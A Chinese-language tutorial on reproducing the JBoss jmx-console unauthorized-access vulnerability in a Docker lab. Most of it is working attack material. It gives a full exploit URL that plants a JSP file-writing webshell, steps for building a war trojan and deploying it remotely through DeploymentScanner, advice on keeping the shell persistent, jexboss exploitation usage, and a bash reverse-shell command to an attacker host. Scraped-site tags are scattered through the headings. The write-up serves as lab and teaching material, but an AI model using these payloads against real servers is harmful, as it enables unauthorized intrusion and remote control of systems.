Jboss未受權訪問漏洞復現

1、前言java

漏洞緣由:在低版本中,默承認以訪問Jboss web控制檯(http://127.0.0.1:8080/jmx-console),無需用戶名和密碼。python

 

2、環境配置git

使用docker搭建環境github

docker search testjboss    #搜索環境web

image.png

docker pull testjboss/jboss   選擇環境docker

 

 docker run -p 80:8080 -d testjboss/jboss   #查看打開的docker環境shell

 

 運行環境,訪問http://ip安全

 

 

3、漏洞復現bash

方法一:寫木馬服務器

直接訪問jboss控制檯

http://192.168.78.129/jmx-console/

 

 

寫入一句話木馬:

http://ip/jmx-console//HtmlAdaptor?action=invokeOpByName&name=jboss.admin%3Aservice%3DDeploymentFileRepository&methodName=store&argType=java.lang.String&arg0=August.war&argType=java.lang.String&&arg1=shell&argType=java.lang.String&arg2=.jsp&argType=java.lang.String&arg3=%3c%25+if(request.getParameter(%22f%22)!%3dnull)(new+java.io.FileOutputStream(application.getRealPath(%22%2f%22)%2brequest.getParameter(%22f%22))).write(request.getParameter(%22t%22).getBytes())%3b+%25%3e&argType=boolean&arg4=True

url中的參數:arg0表明war包的名稱,arg1=文件名稱,arg2=文件後綴名,arg3=文件內容

將arg3的值取出來並url解碼:

<% if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("/")+request.getParameter("f"))).write(request.getParameter("t").getBytes()); %>

這個語句的功能是寫入文件功,f=文件名,t=文件內容

 

 

寫入1.txt文件

http://192.168.78.129/August/shell.jsp?f=1.txt&t=hello%20world!

 

 訪問1.txt文件

 

 

方法二:上傳木馬

首先製做一個war木馬(須要jdk),在java目錄下管理員cmd執行:

jar cvf ma.war index.jsp  (自備index.jsp馬哦,將index.jsp放入java目錄下運行)

 

 

生成ma.war

將ma.war放在本身的服務器上

Jboxx4.x /jmx-console/ 後臺存在未受權訪問,進入後臺後,可直接部署 war 包Getshell。若需登陸,能夠嘗試爆破弱口令登陸。

 

 而後找到jboss.deployment(jboss 自帶的部署功能)中的flavor=URL,type=DeploymentScanner點進去(經過 url 的方式遠程部署)

 

 找到頁面中的void addURL()選項來遠程加載war包來部署。

 

 

 

 

 

 

接下來咱們查看是否部署成功

返回到剛進入jmx-console的頁面,找到 jboss.web.deployment,以下說明部署成功。若是沒顯示,多刷新幾回頁面或者等會兒,直到看到有部署的war包便可

 

 接下來訪問木馬

 

 

成功訪問木馬

這個目錄最多用做臨時維持下權限,因此能夠把shell傳到jmx-console的默認目錄來鞏固權限

\jboss-4.2.3.GA\server\default\deploy\jmx-console.war

 

方法三:使用檢測工具

檢測工具:jexboss,一個使用Python編寫的Jboss漏洞檢測利用工具,經過它能夠檢測並利用web-console,jmx-console,JMXInvokerServlet這三個漏洞,而且能夠得到一個shell。

下載地址:https://github.com/joaomatosf/jexboss

python2 jexboss.py -u http://ip:port

 

 

反彈shell到另外一個kali機上,並在另外一個kali機開啓nc監聽

bash -i >& /dev/tcp/192.168.78.128/7777 0>&1

 

 

 

 

 

 

4、修復建議

關閉jmx-console和web-console,提升安全性。

相關文章
相關標籤/搜索